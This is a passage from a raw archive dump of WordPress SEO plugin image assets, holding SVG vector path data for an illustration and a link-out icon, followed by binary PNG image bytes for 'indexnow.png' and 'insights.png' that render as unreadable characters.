11.63s-2.62.45-4.88 1.44L201 42.23s-11.3-6.42-41-1.11c-28 5-30.79 12.41-30.79 12.41zm36.44-51.83c-2-2.22 15.06-14.62 15.06-14.62a23.59 23.59 0 0 1 10.41 6.42s-23.48 10.41-25.47 8.2zm5.76 5.76c-.44-2.56 15.72-7.76 24.81-9.08 3.06 3.42 5.87 6.28 7.09 9.52-7.76-2.88-31.62 1.2-31.9-.44zm-35.88-.77c0-3.11-18.62-7-18.62-7s-4.65 6.65-5.54 9.31c7.76-1.1 24.16.79 24.16-2.31zM114.81 38c6.08-3.46 22.82-5.21 22.82-3.66s-19.28 8.76-22.82 14.07a50.31 50.31 0 0 1 0-10.41z"/><path fill="#fbb03b" d="M163.54 59.29c6.87-.67 12.85 5.54 19.05 7.53S203 65.49 203 65.49c2.37-6.31 2.95-14.12 2.22-23 0 0-14.84-6.2-41.87-2.88s-35.88 15.18-35.88 15.18c1.18 8.68 2.84 16.9 6.42 21.37 0 0 13.51-1.33 16.61-2.88s6.18-13.28 13.04-13.99z"/><path fill="#fcee21" d="M153.2 62s-3.07-9.5-9.45-6.83a12.76 12.76 0 0 0-7.6 8.29c4.61-.04 12.25 1.07 17.05-1.46z"/><path fill="#f15a24" d="M153.15 62c-4.63-13-15.1-5.36-17 1.47-.42-.09-2-6.32 6.84-10 8.75-2.33 10.71 8.38 10.16 8.53z"/><path fill="#f15a24" d="M142.53 60.91a3.72 3.72 0 0 0 4.36 2.5 3.42 3.42 0 0 0 2.64-4l-.06-.23a3.63 3.63 0 0 0-4.14-2.66 3.46 3.46 0 0 0-2.91 3.93 2.78 2.78 0 0 0 .11.46zm29.05-19.34s7-2.91 12.28-2.32c7.52.84 9.88 4.38 13.24 8.47-2.76-1.13-7.79-4.68-13.94-5.19-4.74-.4-9.58 2.8-9.58 2.8zm-39.17 17.01c0-.67.58-9.15 6.61-11.7a21.29 21.29 0 0 1 11.65-1.31l.54 3.68a17.76 17.76 0 0 0-11.53.73 12.91 12.91 0 0 0-7.27 8.6z"/><path fill="#f2f2f2" d="M181.88 79.67s-1.48 6.2-5.91 9.45c-1.92 1.41-10.58 2.88-12.12 2.48-5.33-1.41-9.87-6.73-9.87-6.73 7.87-3.28 17.96-5.02 27.9-5.2z"/><path fill="#4b3f51" d="M187.68 78.12c-2.73.81-13.37.37-17.05 1-1.24.2-1.95 1-3.25 1.17s-3-.35-4.15-.07c-6.85 1.72-9.89 4.65-14.76 5.57 1.92.11 3.1.7 5.46.11 15.36-4 17.23-3.46 29.25-5.46 1.82-.33 4.28-1.36 4.5-2.32z"/><path fill="#fc3" d="M166.49 39.35l16.11 27.47c-7-2.22-11.19-7.86-19.06-7.53L152.2 41.68a100.14 100.14 0 0 1 14.29-2.33z"/><path fill="#fcee21" d="M175.51 58.4s.44-10 7.31-9.08a12.76 12.76 0 0 1 9.52 6c-4.34 1.01-11.54 4.23-16.83 3.08z"/><path fill="#f15a24" d="M186.55 54c0 2-1.35 4-3.25 4s-4.3-1.57-4.3-3.59a3.68 3.68 0 0 1 3.54-3.69c1.92 0 4.01 1.28 4.01 3.28z"/><path fill="#f15a24" d="M175.45 58.4c-1.18-6.18 1.87-12.4 10.19-10.4 8.09 2.54 6.51 7.42 6.65 7.35-3.22-5.47-10.64-7.12-13.14-5.15-3.49 2.38-3.42 8.21-3.7 8.2z"/><path fill="#8b6c9c" d="M229.49 214.81c-.71 5.84-3.3 15.45-1.35 17.11-.66 1.1-2.13-5.58-.26-13 .57-2.19 1.38-4.18 1.61-4.11zm9.4 5.19c.29 3.67-3.75 7.63-2.79 9.25.29.49 1.9 2.43 1.26 1.81s-1.92-1.62-2-2.43a28.16 28.16 0 0 1 3.53-8.63zm7.86-2.36a14.85 14.85 0 0 1-4.6 9.39c.55-1.27 3.93-8.18 4.6-9.39z"/><path fill="#8b6c9c" d="M245.63 221.8a3.79 3.79 0 0 1-.44 3.21c.71-2.53-1.4-2.35.44-3.21zm-23.16-9c-.42 1.66-1.07 2.94-.83 4.64-2.12.06-.5-1.89.83-4.64zm33.6-20.89c-1 3.2.11 4.12-.26 7.47l-2.88-.84c1.42-2.49.91-4.01 3.14-6.63zM38.88 139.62c.27 3.45-2 6.42-1.07 9.64l-3 .23c.19-4.42 3.26-6.29 4.07-9.87zM59 166.12c1.15-.14 2.52 7.26-4.49 17.58-.08-.05 5.03-16.47 4.49-17.58zm-14.8 14.52c3-10 2.44-10.66 4.42-13.27 2.64.55-3.68 13.63-4.42 13.27zm24.19-6.74c-1.74-.6-.63.27.07-3.18 1.29-7.29.54.57-.07 3.18z"/></svg>wordpress-seo/images/link-out-icon.svg000064400000000745147510273100014044 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" role="img" aria-hidden="true" focusable="false"><defs><style>.cls-1{fill:#444}</style></defs><path class="cls-1" d="M14.53 0H3.22v4.31h1.5V1.53H13V7h5.44v11.5H4.72v-3.28l-1.5-1V20H20V5.47zm0 5.5V2.15l3.35 3.35z"/><path class="cls-1" d="M14.17 10.36C9.28 13.63 6.75 9 5.83 8.06l1.45-1.43a.47.47 0 0 0-.28-.8H.64a.47.47 0 0 0-.47.47v6.21a.47.47 0 0 0 .8.33l1.41-1.38c3.62 3.62 7.84 4.68 12.15-.75a.25.25 0 0 0-.36-.35z"/></svg>wordpress-seo/images/indexnow.png000064400000032455147510273100013177 0ustar00�PNG


IHDR�����`PLTE@}�DN`i~zf������נ���yTU�nU‡b��r��x����h����c�rތf��������ז(b�Qẃ��P"��U��{�)��X��.���4�IDATx�ܱ�A��;���F��eJ��P,,�� `> Zy�uPy�u�y=u�y�tй�A�J�@�J�+��+t�� t�t��ʕ~)�ү�V+B��h�G=�K�v��=�o�#�+�s��̗5[:W:�|W���;J�:W:�|�����qv��/���/.t�\��~�K� �K����&tx�ٵԈA 
�V�L6��u�,e![�T}ť��1��=W��u��c�҉R��"��tJ�+��q�G�h��:Q	1�+9mչ�
{�n^;�V(���,n����V}��8�u�Ns+rC�#t��v=�3�?�;K��e�#�B`j�U7�:-������O�餡%i���ޏ�#�f��3�6�_S��V�.�Ev�9-?�]	K�c;aX�D�̳H�w�k��,=���]J)���mʝ�&}��[z��҉���1���Cg�v��`�4���G{�N5Ӊa�}輥Ӓ�<�ܡ�t�73�h�x]�[1��ū�n��L��<��:図��s��Zw��N�z�\�a��P����>ٻ��Fq��Jb�X���_ukҤ���lg�Fƿ3��O�6��m;yH?=�{Z5ޘ�&�c���s����z�ȳ�+�����3Q}�7m�^�����2ݯo�Uz�B�ϝ�\�s�L����|��t��۝��|�wCp:�Y���=��Z�ͫ���� �:���y��N|Eφ��׆�!�B?�)tt��0��U�~5t�z6th��0OW#�u��;�?���D:"^En%tU?�M�z�i�/VI~�u۝����yZ	�xƛ�AGʝ+d�t�������<t��N�{�+�
�O#XF�߄�ޗQ���f�m��E��B�
�]��*�Oާ_�^�
X"=����ۚ'V���[��Qij\�]��>Я'n��Z�tz���^��s�D�;
=��U�t�{/���s���.]R�Ir=5ҏՅN*t��>8G-�ʅ�&��=ta���}Ru�F���s����Yx�6��\X�RHϬ����5�Ǐ̏�Fz��\r�Li�gd��$3�����6݉���С����S���䧟�Qy��B�_�RV��%��g�����87�����^���U�/�Z�-�헎j��C�X��j����䖲��ϛSVk�e�9w�,⋗��$���|��a=t�z[�[<d�$�л!���С._u1���՚�t�m��t�w��H�>,s�?�+�t����u��f��	]bL����;��.���Ð���k�V�`��r����S�Q��nq������}����#T'��;pfBo�K�$��R�v��,��>���b��T�s�e�L�W��^�E�u�t��s�g\��C�sx�B�J��]���҉.+�#�(���<�� t/�4�:WNq�tc��d���.��9&r7���1��Bo��%Q�,�SJ�C�W��oP'd�<�}6���sf��:}�܇�$.}]���9I�Xw�9t�Dš���[����9�1tK�YUw�1of�:g,,���:y�c�L4������k���;'��Y
"�8�Dt��{�y��BOI�k��X�9#46�8Cc�7�8�nr��蚾�Zk�(�h,�qA]��Qon�{����BgI���;�m�C���W�ι�x%��)��Dd��"�>[O\:�=tR�.��s-��#zp��ٹ��@�z���/ƥ��f�*W�9��И2~�o��σs���{���h�3������v�]y�u����iq�u8{ם���=L��s�`�d��$��"��W�9�R���@Oj����p��}78�t9t4�^�`���™���@'�H| ����~>�p�%��;X	i��v�m'��<��a��!��?��ow���C�7��K_�yֽ��A��W��)> �F�,�1�>��s�ؗ���������D��8���D�d�s�E�2g�k�y�g�\�9_f�K��]K�^^�\�Oi��#w�I��e�w��ϕ?4V����[�E�g���1�s.꼿���J��8}�y+��SbE��T>Ϝd�4�]ێI��8]V�$~z�W�a��a"x!�/�Y����<������+Az|?.I���-�'q-tY��3��p��
�'���翬�o�Γ�d�K��E��|+t"��{K���йZ��H�D���?��
�� +�'Y�0ο6��ND����ν��2N�Ӹ*śt��&)>����O��?�\<�2Y�\�=t~���n)o���܊k��
$�~����M0���;�Fu$�*������lA����A
�E�����o��{K�?��t2O�)1)���{��el�+�p�mAsg���Z�b�������].)�O�9�̔�L/�Ζծ�ӛ��$ ��x��,���Ώ�@�%����s*J��c������Gsߩ�h�S�>̛^Z��\Vؙژӓy�e/z���WS��
�h�i�Okz���;W��;��q�;���1�Y�ۙ�����Pי�����G��)�/U�w��u��Nm��9:��up�
]��ܣ��5�:�����~>,Gbc`Wϫj���LU.&��n��G�kzQ�,(���Ʋ�QƜ��E_�9�a�/Y�3"��&ˢ��5���R��\�LM�1�����H�P��-z�-%���ӟ�Ţ���z.�Ԯ�-������q���HU�r��]�Gt&�����jja���Z��M���yA6e(HD�����6w��b{?f{/:��垳��nyS��N�3ي@�p�[����Ϯ���.�h��g�M����qe�^Wk�k��o�A�RMfzA��1�W]Y�_�h�Ѳ�`�-`��f������3�TK�D��30y��E����዁�X�l�+c`�2U�u��.:�ͱC=����/z4�`��u�Qv�/�ą�z�9��9�
9�s������k��E����'�A]X�7�5�+r�v']�~����C��&-$�c_]���0��q~v���6-?��`c�6[������'§s��ptѳ ѯџ��G��'�?�%gуM�]5Ȟ��<g �{wXw/��>����k�ɘc���_�B.�`�[n��vQ�6�t�w�X"�ƹ�9�$�\~��/z������M�;�l�1ϛ7�`�+/�BI0Ts��F]��^��0�#P��<8��
6$����IBC0\sJ�~���x�����P���1'9.zY}x�����`�]���4����G6=�qE�:}8R�G@g��䢨�,/��<8s��������:���@�����] ?��گ��s���B=r��=�nV��_N�=g���j�|�s����GZ�,O�KQ�t���!���1ԏ��d�Fy7}`y�y]0�P7FY�3�w-&���-;K�����Ê��p6����A�#hΘ��ܫ�J���
6U;�[����܋�o��IS���x��O�X���:+�9��Q4�j�k6��Nݪp�C�{�vKcNB������iC���9y�[�N4�Y����@g�}���i���lyQ�pt@cNhC�Wx��7��瓖�5�e��θ��o��s�"�Eo�}��k~(��mH9�E�~ue�"��. �V=��s�U6��z^�,˙�����υڿ�3��_��?����h��v��1�@�
6T�n�_���XN|�fj8�Xߟ��3~��
t����`æ~�.�_J���~�H�:Й|(,�3=�9�yE��U1�tƁ�4����@�	�  ����n�!ct4�	]1nso|�3��O�D!����Iu�=�-��/Ņ#-уU;[;c<�7���th�Y�z��ۂ|� �yDǽ�y���K���EGӿ�F�<�7Ƣ����lؘ/�x<�Z�*�7�8|�_��EIrYj:#%��}Tc��]���k;:��U�S�X��<���?~Uu|�W�ä�	+�A�ۥw��cN�yΌ���4�aV���{m�[Da�0��x���/�^e=�ܓ�%L�.o\<B��o ���F\.k�������H�uRI>�t�@g���\���>���:�}��Wu�%����3�r�-)��@��W=<�~���zZ.�Y,��D��q�E���1=z�i�UƢ�a�(&�1|1.]���A��_B�8H�E��&_�㲭�v��_�#z 9��K(&I�������X�]�8���`x�[t��j�zp,��Egտ��G�3��*3N]L3&:�]���Wa����#�Kq�>N�g��=NjpA6}[�}k����=.��M�i��1�놮׈.EOmj~��WMH��+��Hw��aՎ�7��Ko�G=["zBD�;z���~�h~�3�〮G�z^翘?��l=�yn/��7،A՞�I��Xԍ���߿w�=%"�����'Ec�v��s�V��c����]�$e�Wǟ?���Ȫ��3>�p�5kq�91�^���ѥ�Dj���+���&::�9�= ���X�xqG���%^Mo�k�����m�{��ؾ�P������tC+I�2|�h���c�+.�@��\�I�M��ZlI,��>�(�1��7N���t���`���>/tP�,j+G��z;�j�R"n�ܙ���D�O]�BDo.�F�3:��_�{q8�U[�c��
m�賦�3�,��)@��%�����7��i�R�ڬ�3��<�c`?WuADɮ������ݴ(j���s�e�)�M7���5_"��t�����+I��$�R_t=�:�ˇ׮֊���Xl��#٤��+����;S����Q?�:��������ո+�N$>�;��\�r9p�=��0�B�� z&‰��B!wc:ϙ��qU�7�Ƣ!*n4�l�����[�3���;.��Z���0�e�҇��$:�`"��zM���1����'�M>�j�2|�zNiQ�f�H�&:���-%!��J")�Z��
@����a�'�}\��vט��o��zC��6���!����צn<�Jk����J6�-))�4�,��$IR����~��̃�H�DkDO�E��}�@w���EoYg��VKmNBxV�Xt�����|�����,����D��n9i�i��T*lDg�t�i��]{�=�~�@Ϝ�{�������s�-آ���S�����CtК�^�A"�҄R����x�6F��"\%�V�y ˆh��aso�M�i�ۙ�ܼ	6}cWTF�{�s�H74*�Z٪���$))���Uٍ�8�|�J��.�/��D�[D�"����^t����5�~�4u'���o:wwT��cݳ޾�>	�(�JJ�m���tԨ$�D�K~cNu��p�I���`S�����n�'`[�#��%:զ~�q63���/Ӧ7<X4'��#��W�Gt%A�[k@�q]!I���;�P�!�D0�������d�7��RL���y���?f)b���S���it@ϭ����}X��t��J+�A��D�*�P���]/�\$�ۅ��8��r]�����l*z���Xս1����Jѽ�Sc���i�2c��BX�3�k�($��PK�n��]��<�a���!���*�{~!��D��WU7E{����F�d��F����;��iL�p��pX�m����L[�5����Z��:�BχݝS��@r�� �Kt�����}wW��Y�7�:#=C:�k0Ё�ac䶢3�%�����E?�zܪ�&��wx�J���{�Ո���G��n�]�ژ��a���`��Sz��ja����3�+B���Z�ɒ������͕�C�L���Et��7��ΑΏ�0�M�;!���j��ʻ�R{Ҍ�Rk��:zJ�E�|�q<kHg.
U���	�(�s��bc����֍�.Of�k��a���(:!�,h�9����x.KtBuGi��ޝ('�,Q>:`��BL����kڢ��Re*��Sl���u���Б+t��@W�`��ܹwq�W��?;��@�sh���1��OJa��T�w��W�/�޽���Z�܉�ҳ^P��9��Щ��~���Z���a���u��KlαW�_����B�>�����)m�8�:���6ϕ+2���sqe���ᶸ��.9�;ZM�����X�;C���N'�@�o�T�q�f�ҁ��Y�s`t8m�M������|��D������{��1Az,�9�S�7��Y��B��S�7�R>6�^�:xC�}\�H�D�zw�� }�Q�G@�阷���Q��$=���H]���!���K��M����{w���D�\�s���W�����u�
z}�Eu�o��>�u�R�s<�s��!;V�ГxB�`�]6n��}����:8�G~��_��@������#�|�;��
ݡ�������{`��X�s��`�B�������Ǒ~r���X���K��dq����;|����%]������a���!zx.��
t��A��җ0�#�8D7U�;Bo���f���]�7�+�J�����:lI��w�޶ώ�9��mlX~���UL�o)y���(:+t��޶������~���N��G���՛�~�%"'�N�#s8D7Tȭ��m��+�FZ���8��w��S}K��bi��Z�Tt8D7&^���ކ�x��j[�s�/��y"��'~'"aD���`
��|�t�ø�*�/���g��0*:�.�PȊ����(��
�%�"�7��}Tj�Rθ��`�yq��Ϫ�8�o��N���;V�%�������-w���G:�%�#ts��w�q�R��\�џe}����'�=�}�QD�;�Y���n8gJ�C��
���/��PF��w�t/��+�7K��g.N��F}ܷ����tP�e��Yc�����>�(�ݰ���Cv$Ã�s��`�Љ�o����S�e�>�k�t3~������N*�B�7����x���+�n�(��#/s�x赸U�oƻ�/(��;��(�G�b;�9
������G�g��7�]��G�#'8�h�>ƹ��
��Ǿ�?�wu��,��t_%E}��c���+�B���{�h�{���sm�{0��Y:$�ʹ/s0,z��6_ǡ��H��Y�9w�x�ة�.��ւ��.,��>�����PW�UR��n�W�S�[9���c���\��b�i�·z=�˽�v��١��M�0Ǘй灨o�Zl��M}7b��B�s�eC��<�r.X�� �΃���\�9bwGao��?�:8�
=��y�/��-��U��z���3��!���en�\��@��B�Wu�K?A_a�m�v^�pf=��>�H8t�|���,��0Gչ�ԛ��ӹ��;���2�T��گ�[��?�_u��Ի����x���f��s�����("$@ο����Jg��<��x|U��/���tS�Y�_?n�|[��-������i$x%MӸ�0V;��P��w]z˗�?����u{IK���s7�Z����<»�\�n�$Xt�����=�<գ ?���?s��k�K3t�O�=c������۪�>�@<�3����3m���(9#����yC��:�\���}���_�ΓN��,�)�s=��j�U�����]�!�S��|U��">�Ҟ��5<���es.+����w�mT����|���n����K���?�N�D��W�:N��r>tA-���b�n���]Jʹ�1>�.tw��emr��@��b�n�
�K�p���N�:w���&�!�P�����ަ���K�\�����s�n�1�s%���ܐ���{t{Xh�u��L�=�sI���BR����!Na���ܩݷ6赣Get���֪ﱤ�Ϋ{$Eb�B�V3d�.st�]C��*��غq���>x�{JQj��(#�ۥ�r��	Cus7��N���G�o餠��	��L��H�(�&���zfG�6en��۫i�N_��Qb�_�\GR.�l~(gs�;�3��ػ���q 
�'�[�Z�r������Nz��� ��m���v_u�&Иi��e4��
��zyz��Ο.Г�9:lz�rW���C�f��]9z����Bй�[���D�m9z��ߠ�:�
CB_ҹ�y��B��ܭX����?O�����@�h�}l��3:o�uqW�z#�͝�_�	]�:7���S0�.��L}���	ݱ��K�031�y�k�ܭp�;����������܇���J7ߊ+�F�M��;�F�WnyQ輢[��A�λJ7�
?tF���	����;#t���]̈́.�����7R'tg3߭]���G���':�*]n���7H'�ҍ��?�0B��D�]���]��~��!]�7B7ݒ��;"���t#�#B��t���:C't������3B�2�鼷tB_�'�;�މ�лK��-"��<t�
���5BwT��˞	�e��N�]�ͽ��8!�e�؂�e;�B_�tؒ�am��N��Bg������4�L<��,n��YO��/�iC�	���q�l���݅�)}�����Y���B*��O��O�@��%�ΣBg��x��1Ѓ_�yE���B�Ѻ;��i�#V["����o�GkB�X&����]�<�t&��|Z�X�����A�a���_���S)E}S����:{3�ӕ�-�
t��yE��m�]�m����fw:���9���}S�vw/B��p���a�c�M˿e�;���J��Qf4����Q��L$@��ݔ_z8���w�.���^�K�~k/U1�
��
�!<�|�.`����D���xE��Y�I�e�؛z�*ǹUxE�u��K�_�	]�T����~3�:���gw?�|g�;�����r0_p��7tE�R�s띛���'�Zˏt�]�;b$
�-~��6������ HÍs�t:��cm_n���v��8�OU
_��=Cw���"�n�i���Ӕ�l*;��>5kM�W�,N�t��7��*��}lֺ���:�3"u�.誚w����ődw��2ҋ����B�q�V֫�&�`]z�%}33��*�s��5]��8��ۡ�w�S�3�ml��;����}�Kt�|��$X>�I~A���SCj�y��9=kSX>>���ܚ��>�xmK�'�Z{EW�,��=����E����Z��]�=бG�h�3�9�W����ڠ��M���n:Gzd肰��c����(�B�X����.�B"�n�ڞ�G,�tE���(k�tx�=�CLKtE�z�6���ùO��#��'Zj�b��T߶���p�#}��r��]<�v�Md�ùC��{F��.�ܣ����B���3\N���~	Ʋ؝i�������'(ʪ"�h6a�_�3>}�l" �Aށfz�9L��8�T�Ǖ���z���A�!)���nL8�&EY.):��cW���1�
����
�1g��4��Y\��W�G�]+�}��@̘�7LDt�D���g�kw��9ҁ��=\�4�V�MO*b^ܞQ�{p�歝:}��?͹��E7�&�ww
�7�\t�����4��)�yyw���g͝�����L��LO)_��AY�Fq�js�q�aq��鹙��B�n`rt�N,�{��w'�Č�x�q:B:�S��=���k��1����G!�O��9cD�CB��S��+�Y���|�R>�o�f�vw�`1l���H/ L Ɍv��{t�3\�WE_�0ͷ�Pe�A,�1;�9�����n�.X]}%^�͎��|�Z
����hͨ�=�����&�j���st\EY�QLwW�]���H�|���1�a�	ڙM��0�Y���#}����BL�IPj7�鞓oxFE���H]Ew�Ί;��w_�u��r�ҍ�"���*�0F@��n�_L�$N����nf��
2&@qKb��3���{��c�іQE%6{�>����@�a���$�4+%�k`u#Zt�V*�b�Bݤ��eM},�U�C�~�{�g�^�%�1��_��xq�,Vѩ':�T�@{���2�9R�`h�^�����ӡ��@��$�3:����@�U����?A'�B�藁.�)�Mz�@��,��U�-��?�霡����������]cD�[���k�(��1��=��> �I�6*�#"&��r�Λ�����t�t�>�z������^�U�%���ދ#d����Q���`?>f8r�s�߸�s�����;�[�[t�-"���b����~3�sL�J�R#o�â�\��}q�{_�m���x޹�*<�ܹ��&v��bͽa�=
�Fێi�}}3�FT���}0�s�݋9�:A��o*��D��HO��c��_>���v�<Wџ���|�o�髅�w�>���<+cB��E�7�.D�t�Ng��n�3=��@���t ��z.�EGɢ��殧�����F#�Z�|���gq��?^�SÈm0�}�
(�49�p�樂�s!�'b�{�+���s����o�.O3}Oâg�gqL�[�����(�#c~_tP&1�U}	wD7�Ew}���0�➣��1�
(�c�|S�'��o]����REק�H=-z�;���7fqf�����6Uѭ|щ�;^[ܚ��=��Kt���B�q�m�7���3=F�c
t��/z�sn��%�������DWѳ8D�d��k8��
��(����$��<�����k�>REѴ��Gp����F�M��+ql�9?[���#$��I]Eτ���8�gy+cllj����ِ?��Kx.Q(�!�9�W��D7]w�p�I�󉅲bE��E�\vw/:�gp���j��kE/b�t�K0�����A���fq��r��ڬ���P��fq����	�xs�~�UE7�-UUE�]t7�*��Ox�n@y���[�?c��(Sj��=�{�J���sT}3��M�	F�syU��^@,�l���?�ˢU�ÜN�z`0��;�‰{%Ut� `�)vu�M���,���SLdCw;���ا[K]����L�s�?Q�zhD����j�nsFd}���^Dj7'�@��)R�4T�,N�9���{���gK�{�c�����4F��Tt�ݜh}&�h���g�ԛ��}n�h���������-���S씢K� ��
�A�Y����L1���l�������5+������ne#���F��A	p�f�f����EGP�n�`�:E��[����p��I~�*�](!�e.�h
�c��6w9�k�����(��EG�k��cw�B6ZJ򔟃"<�z��.Et�{J)�{�
� ]t�	�4�Z�ъ^��$�A(95�u
�(X�G*z�hf;tJn�!֦�>toc��{�Tt��8���q&��wPko�}�\%�tu)DsW�9�@��rD�*�o|�c�{��ل��rl4�8�q��Q5�S�=~J�����_{^(�%`��f�8��-�7�z��
f��D�ű��~2�Qrf�g�
eܸ�-�˺�����'�ڹ詫�<�WH%�8?̿�En{����D�~ᜣ���\�����-��j�oN��?�X,�0.uՍh�P�{�Ys�>k��D�'���a�=O�u#�k�*�}��P�EO�6-t.��W��r�E�����-���[�=�lѫn����D��벛q�殖���aͱ�E���L��&`s9�p�]-o�k��,/z˾�����4w#]tP�)9���>�,���T����0����벋�	�����A~#]�M�掋NV/5	 �H@-�=���e��r�L_|�ᢧ+�p�0��y���|G���t�[�� 1ċ��-g�Ӳ��sV����~8H��
�"�x�Q�~SV��9+����&���4eW���Q͙�֜���;�{�����(d��p�]-o)�x�)_s~k���)ҹ���n�Y�N��]5gJ�-���H���i�n��O�d����vyM��2"ř��e��-'-ۉ���@&�������_���rR���>E~��J��Qϭ���E�+��_Fz��;b�{2"r�EGP��9�_�m�0ө�ފ�]ڨ#:�tj�}�V8��9�zn�|=~ӷ}�|1�D_�%"����
sΊ�٭C=��
Q[�L�|��57=9�-1\�@�D��圂����OWމ�#ڛ��^�Ҧw�\U9&�&QID9�:�7��ʡ����qJ�]�W�wgQц�,��aa=��v��jz羅�;���Sݖ�)�8:dਁw]=���o=�K�s�9�Q��R��>E�P�5�-\J��S��,H��*~A*��>��n@�x�[�Tщ�M��v��:�K��*��T�K:�Xq�f�����
�m
��r`s.�!��
湫���Pѕ̀��<s��Nu?�Oy��[T��������;��^���q�E� �[��>(*���Ӧ��
��$���n�����l����`�m�0I<�B]���[�u���G��ڪ���یa��:/��ݏ�3nT�8��Mo~|��kmc�z�F�(_P:��z�^�gD����~bR�8�z������c�%�;�jgo���Y���@��w�6���5�WL��]QY(��B�}��(M��,�ݴ�~V�l��B�sC�?Dy-T�9*���:�|��7�9����zC��B�7�U���C�:�#�NQS?�kd�0�S:v5�&ڜ�H�t�:uꄎ,�ͣ�S]��W�h�n5��LJ��/�fG��9���VG�#)}.]����]��.�u�H����k"~�U��RO�(�HJ�D�lqi.v��|�����9@˭"���5�e��>�jy^H�_�>��m���4�g}���7�/uJ�T��?3�"��S�l �XF�&�TU|�лS�7��YRo���R=�z�B&@�0�'��D��.S�N�ѿ�7c��۩W� ��Ic�����׾�e��)ւZO�7=tJ���X�����%�w_����2�Zn>r��A��U,k����o��A&��xJ *_���R�0��3�S:��J0Q�&J�D���t�`��LT:��J@��?��k=}_}IEND�B`�wordpress-seo/images/insights.png000064400000073751147510273100013200 0ustar00�PNG


IHDR�����<PLTE��u8u�0�((/1^W^�v����iv����H'4̊yeeu:I�SP���㡊����rh��}whIDATx^�]o�:E����������C��6ե�z��IZ	-��N>����m��������q��l?��!^2�aC��{W.�aH\���ဌ�,�'��Ϣ�#a�˕��FȚ��{WVD���iI�d9��ߦI,�D�����c��`.�������;X^�wb���3��3S�L�NH������E6X�Uu��Ϊ�N{I���$���vх:�<�Dv�^Pt�a�3
HJ<�"���k}[�ʕ��@�[���à`Ny�+��*��-�!	����mPN�
Ю�&�-�p�]t)�_S���<�[S���P�,=��)��B4NL�k��ee/ZJ�<�c[k��8���L����������a�a?�$b�rw@��aIJ���a'�ޝ�j�+'$�DO���@/$6��P��w�5t�K�`+���<���W��$Q3�*�z��b�G��յ8���r�au�M�]t]�@��x&dz�H�,fP�#�q$�0K�W��; ��Q"qؕ&�9ߚ��m�R<���W�Z���R\!!O�?^��v��zؗ��Ź�CM�י4��<�h�XG�G�@�n��Kq���3Bآ��q�T���޶-�N��x���o�d\��C���b�8��A�H4�`�b�� ���3"l'Á������-��Iz�]�_�-��
`��zb��8�A���3����`u,,FA�\a/�DwX��C+��^��w�W=gȀ�/�UD��`����`�H�\c4��P-`�Vz�H�l�v�	0,B�*:��U�v�Wu��Z��9y6=@b���^�d�uwM$!#*�e��JI�.d…�D�c6�{���1�WS"��e��W�!���w����2A���{��c���R�����h�lz	�#o0{徟�B&;<�+����/?�coa���g�Z��s�ߠ����=��q�?�.:h�0�,�k�*"��N��Q�i���Ue��@tѥ�#�L[���p+O�!�VD��?fH�e�]�W}8nCv}%��t�]��X����Z6��Ku�y�~��H��z��C�Y��[�u�eH�ԩ�dV+�y��*��m+ֶ̡�|^������r��.�<�⢛NI�C�N5��M�+��� �w������7�Eo��]"�L�I<���.z�%�I$%11�4J���":�L�}_qBڷv�E�;T�y��x�#�E�ؙ�i�N�,�L��td����a��kM"g�yZ�i��1u���35�ĎQ�u�N�S|C�;.z	t9�Eӥԕzae9�EOr<vE����1Z�1FM�/�>��.��.ds�%V��EOђLb��v�]��$��q{Ht�Ed�-��H�Dה�j7 S
=]�<O��i>G��z��E�cq���ap��������:�E����v����B��t]�K7��w�8.�R��|F�R.�:��nU�O�E�h~�h_��k��/
�㎋�J꾞/����p�'�?l��O�	$e���Z�������g�
�{~�얦�h�9x[�	f6��8 ��þti�_-/J������~��Gn�Cp�yb���H~FtǗ�?�U�7M�u����C����=�S��莯�
���b�H��0�;�a��?Ҋp����vЛˀX�&�z3�v�C��kX? ���@R�~�DB<bX5�g���K jq���)�����ݓφJ����L�ڝ}%Α���M���.��YT��3q����"=��92)�E�琹��q e�� %��Dj(�i���='���8��D�+k]�x��#G��,�#�w9����x��<�l�6�
6�<TI,@���o�{��x���[kB"�%W��~V�E��8�k��ۢ;�7D��oW��r����L�*z}z�g���8 e]�9�ä�����WL�^P�|��'Ew���;�ek���A#
��}���ﻔ�C�)��ܬ�_.:��m��^�贫�t��:y�/˫��5'�����U@n��	��g|�>lK�&y[����qpA�h�o9�mtpR�}��FH����	p�}�����wn���@���˗2����B��HK����飖N�Te%��v�@>�B��k���ůP�V0G�������>_ˮ�=z]jn�o'��p�-zBh�i�N]@���3x�N@∄����q��g��y�z�r#E�_-zC��i��6�p�~�]��*�=��;^�V��k�x��-���'��ɻ���q�'g[��<�9(�����@��C0�B�W�5,n�tO���v�GZ�Ҙ��P
	R��u
���� ԝ�Õr�
)u�:�{�!�Ǒ�Y0%�ӊN7�T	�E��{�4�~�moű-k
ί^R!ѥ�� �T�qD4��F��?��>8�D��2=~�vW���9�B�ŘӖlӢ���|�3�	�"|ȉΣ%:��^xM�+�t�����+�!}|=���<~
�{#:�T�S���G>ݠ��wA�`�Z�{%���؍s�I;���]O�M=�؆~�#:hO����r��{�wrK]Ҷ�n�|�����n�=�R;NN":ߋ@[��(�$�,��g8�p|\(�W0��J���Ӻ��?o�\m��J�;�_�	�@l�2�s��Gh�EX#MӀ
4�Լ����nY{A�B�n���B��^�a ʢC�w�ϩ<�����A�M�������^��{Yڝ��:w�B�o]b'P�X�m��ڃTu1z����MU�
S��;ͅ\�L������vO�4?v%sG�SƱ�
�!�%0��]�`u��
ϺS�n������Y��'yPs�i5L�O��
ч 
F��3r	@W��D�j�02
����%�PTѱ�~�2���n\�5?�
}e��W�r��"/Af�1%GFt�OȺ���Tq>z����W�e�ɕ7��%�
��=��e��yӣ~y�I����+r��T{d)�N�O��H�S�^�j���D,�ݓ�'?ѓ}P���}���Pϯ�b�Y2�mT���Q"�I�Ξ;
�Z�W�
7�.����HtC����c�5�.y-�����d���y~��t�:b~�Lr
f@g���Ew4ԟ�sc!��h|qfPY�N����8H����t�����N����ďEO���/��OEG^t����	?�=� ̜W�Jc�$jr�{�MKf��Y�=l��OD7�G w���If?]90YSW���pX��q�_J��uOw�f�I��S.X��Ǣ'�k3#�_ܨ�[�Q]I�E��E'�UE������s�ݒeHZU׈?�f��۵��9����ї�o�+��E��3����h��U�,���\>�膳}5]��3xn@�,�?�׈^oY�
o�tCYh�-Iܗ�{��K0-��=���2i9$:^���D�$���'��+@V��i
��Z��sȾ�ݑ�����_��8Q���β�~����0�.8��H�h�i��v��F�.��҉|�nX�'N�����ȉN����
